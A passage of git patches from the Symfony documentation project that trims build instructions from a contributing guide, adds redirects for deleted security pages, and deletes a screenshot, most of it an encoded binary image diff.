-#. Install `pip`_ as explained in the `pip installation`_ article;
-
-#. Install `Sphinx`_ and `Sphinx Extensions for PHP and Symfony`_
-   (depending on your system, you may need to execute this command as root user):
-
-   .. code-block:: terminal
-
-        $ cd _build/
-        $ pip install -r .requirements.txt
-
-#. Run the following command to build the documentation in HTML format:
-
-   .. code-block:: terminal
-
-       $ cd _build/
-       $ make html
-
-The generated documentation is available in the ``_build/html`` directory.
+To build a local copy of the documentation to review your changes, see the
+`Build the Documentation Locally`_ section in the README file.
 
 Frequently Asked Questions
 --------------------------
@@ -342,7 +306,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
-.. _`pip`: https://pip.pypa.io/en/stable/
-.. _`pip installation`: https://pip.pypa.io/en/stable/installing/
-.. _`Sphinx`: https://www.sphinx-doc.org/
-.. _`Sphinx Extensions for PHP and Symfony`: https://github.com/fabpot/sphinx-php
+.. _`Build the Documentation Locally`: https://github.com/symfony/symfony-docs#build-documentation-locally

From 356ae6ae0b418b8b7800105d293e0efde390922f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 12:39:32 +0100
Subject: [PATCH 2897/7107] Add redirections for deleted pages

---
 _build/redirection_map | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 1acae2a1667..0f5ae7c07c4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -532,3 +532,8 @@
 /security/authenticator_manager /security
 /security/multiple_guard_authenticators /security/entry_point
 /security/guard_authentication /security/custom_authenticator
+/components/security/authentication /security#authenticating-users
+/components/security/authorization /security#access-control-authorization
+/components/security/firewall /security#the-firewall
+/components/security/secure_tools /security/passwords
+/components/security /security

From 37b7ac3eed8b9133108454c68bd2c8367d8c1622 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 15:02:08 +0100
Subject: [PATCH 2898/7107] Remove more outdated contents

---
 .../docs-pull-request-symfonycloud.png        | Bin 155671 -> 0 bytes
 contributing/documentation/overview.rst       |  25 +++++-------------
 2 files changed, 6 insertions(+), 19 deletions(-)
 delete mode 100644 _images/contributing/docs-pull-request-symfonycloud.png

diff --git a/_images/contributing/docs-pull-request-symfonycloud.png b/_images/contributing/docs-pull-request-symfonycloud.png
deleted file mode 100644
index 0c485c1491c428990b6c6467d3dad9e9fcd863ae..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 155671
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
